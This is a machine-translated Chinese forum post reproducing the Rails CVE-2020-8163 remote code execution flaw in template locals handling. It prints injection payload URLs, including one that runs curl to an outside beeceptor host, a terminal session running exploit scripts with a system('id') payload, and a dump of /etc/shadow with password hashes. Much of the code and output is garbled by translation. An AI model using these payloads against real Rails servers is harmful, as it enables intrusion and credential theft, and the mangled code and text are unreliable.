Rails 版本 < 5.0.1 & < 4.2.11.2 CVE-2020-8163 RCE 漏洞复现

twhackteam

Administrator
站方人員

漏洞描述​

這是5.0.1之前版本的Rails中的一個程式碼注入漏洞,允許攻擊者控制「render」呼叫的「locals」參數來執行RCE。
  • CVE-2020-8163
  • CVE-2020-8163-1.png

風險等級​

高風險

影響版本​

  • 旅遊版本: Rails version < 5.0.1 & < 4.2.11.2
  • 不相容版本:允許使用者控制應用程式的本機名稱

漏洞分析​

Rails 有一個叫做渲染的 API,它可以讓開發人員選擇哪些範本來渲染內容。
另外,還可以傳遞一個本地傳入,將更多變數傳遞給模板本身,傳遞本地變數方便擴充模板的靈活度,製作更強大。
該bug存在於Rails版本< 5.0.1 and < 4.2.11.2,而這個bug的實際罪魁禍首位於ActionView
  • CVE-2020-8163-3.png
template.rb中中,可以清楚地看到本地倉庫中的每個key和item都沒有被清除,然後直接賦值給code變數。
下列eval程式碼將導致local_assigns物件解構賦值
1
2
3
4
def locals_code #:nodoc: # 雙重賦值以抑制可怕的「已指派但未使用的變數」警告 @locals.each_with_object( '' ) { |key, code|程式碼 << “#{key} = #{key} = local_assigns[:#{key}];” }結尾




這意味著可以預期地控製程式碼上下文下進行評估的部分
  • \rails-4.2.11.1\actionview\lib\action_view\template.rb
要對結果字串進行eval構造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def編譯(mod) #:nodoc:
編碼!
method_name = self.method_name
代碼 = @handler.call(self)

# 確保要評估的結果字串採用程式碼的編碼source = <<- end_src def #{method_name}(local_assigns, output_buffer) _old_virtual_path, @virtual_path = @virtual_path, #{@virtual_path.inspect };_old_output_buffer; {locals_code};#{code} 確保 @virtual_path, @output_buffer = _old_virtual_path, _old_output_buffer end end_src









然而,這並不是那麼容易實現的,這就是為什麼它被稱為“部分 RCE”
如所見,可以控制的部分剛好位於一個長表達式的中間,它涉及到模板片段的連接。困難部分。
1http://…/?locals[@TEST@]

  • CVE-2020-8163-4.png
模板的內容
  • CVE-2020-8163-5.png
  • CVE-2020-8163-6.png
1http://…/?locals[`curl linqb.free.beeceptor.com/backup`%0A%23]

因此,如果模板是空模板,那麼RCE就很容易實現

漏洞復現​

1
2
3
4
5
6
7
8
9
10
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp # cd testapp
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/ CVE-2020-8163-master/testapp # 捆綁安裝
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master/testapp #rails s
=> 啟動 WEBrick
=> Rails 4.2.11.1 應用程式在 http://localhost:3000 上開始開發=
> 執行 `rails server -h`以取得更多啟動選項
=> Ctrl-C 關閉伺服器
[2023-04-15 02:44:41] INFO WEBrick 1.4.2
[2023-04-15 02:44:41] 訊息 ruby 2.5.1 (2018-03-29) [x86_64-linux-gnu]
[2023-04-15 02:44:41]資訊WEBrick:: HTTPServer #start: pid=8210 連接埠=3000


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 31 32 3 25 23543 31 4346 45 46 47 48 49
50 51 52 53 54 55 56 57 58 59 60 61































root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master # ruby-exploit1.rb http://localhost:3000/main/index「id」
ruby:警告:shebang以 \r 結尾的行可能會導致問題
[*] 將有效負載送到 http://localhost:3000/main/index
http://localhost:3000/main/index?[system('id' )end%00]
[ *] 成功的 RCE
root@DESKTOP-2HA9GOI:/mnt/d/1.recent-research/ruby/CVE-2020-8163-master # python2 cve-2020-8163.py
[*] - CVE-2020-8163 - 遠端Rails名稱本機中< 5.0.1
<!DOCTYPE html>
<html>
< head >
<title>App</title>
< link rel= "stylesheet" media= " all " href = " / assets /main.self-e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855.css?body=1" datadata-turbos-trackrack:" / o mrackun p
= s . application .self-e80e8f23180 43e8af94dddc2adad5a4f09739a8ebb323b3ab31cd71d45fd9113.css? 0a622e80342adf488fb6006d667e8b42e4c0073393abee.js?body=1" data
- turbolinks - track = " true" > </script> <腳本 src=
“ /assets/jquery_ujs.self-a6375ab2b275439c922ac52b02a475d288976458aa11a6e8103c925ef2961f66 。 ets/turbolinks .self-569 ee74eaa15c1e2019317ff770b8769b1ec033a0f572a485f64c82ddc8f989e.js? 3aba4e3e309a11d7f2612f44dde450b5c157aa5f95c05.js ? body= 1 " data - turbolinks- track= "true" ></script > <腳本src = “/assets/application.self-3b8dabdc891efe46b9a144b400ad69e37d7e5876bdc39dee783419a69d7ca819。js?body=1" data-turbolinks-track= "true" ></script> <meta name= "csrf-param" content= "authenticity_token" /> <meta name= "csrf-token" content= "gSDrhhzFjxej04mcuFjDgyIWNEJJPxPxJPhhzFjxej04mcuFjDgyIWNEJJPxPxJPncuFjx Y/tlcbkFf1JhJNEmeTsEMTuc8FRjskJpwR5MBnNA==" /> </head> <body>








<h1>Main #index</h1> <p>在app/views/main/index.html.erb
找到我</p>

根:$6$GdoEA3yt $lkzbTTwqBQQJEC2mwvbwxh5 /X/W1rCeGVaZL8Uz42xq3/vYzJyOvt6OvGL6qwUv.rYURZixrwdjLsyHmGIKot:19499:19491909190919091909:9091909:909
99:7::: 垃圾箱
:*:19121:0 :99999: 7:::
系統:*: 19121:0 :99999 : 7:::
同步
:*:19121:0:99999:7:::遊戲:*:19121:0:99999:7:::
人:*: 19121
:0:99999:7::: lp:*:19121:0:99999:7:::
郵件:*:19121:0:99999:7:::
新聞:*:19121:0:99999 :7: ::
uucp:
*:19121:0:99999:7:::代理
:*:19121:0:99999:7::: www-data:*:19121:0:99999:7:::
備份:*: 19121
:0:99999:7:::列表:*:19121:0 :99999:7:::
irc:*:19121:0:99999:7:::
蚊蟲:*:19121:0:999999 :7: ::
沒人
:*:19121 :0:99999:7::: systemd-network:*:19121:0:99999:7:::
systemd-resolve:*:19121:0:99999:7: ::
系統日誌: *
:19121:0:99999:7:::訊息匯流排:*:19121
:0:99999:7::: _apt:*:19121:0:99999:7:::
lxd:*: 19121:0:99999: 7:::
uuidd:*:19121
: 0:99999:7::: dnsmasq:*:19121:0:9999:7:::
景觀:*:19121:0:99999:7: ::
sshd:*: 19121:0:99999:7:::
授粉:*:19121:0:99999:7:::
luci18:$6$LZaJkFRv $0NjZpXXL /iuBCqm8isV9mg0dCUHxJPQVEJW 7zU WcA8sfY8Yo.:19420:0:99999:7: ::
mysql:!:19461 :0:99999:7:::


</正文>
</html>

修復修復​

這個項目非常簡單。
  • CVE-2020-8163-7.png

總結​

「密鑰必須是 32 位元」報錯
當使用Ruby 2.4 + Rails 5.0.0.1時就會發生這種情況。
供參考,Rails 5.0.1已經修復了CVE-2020-8163。

參考資源​

 
返回
上方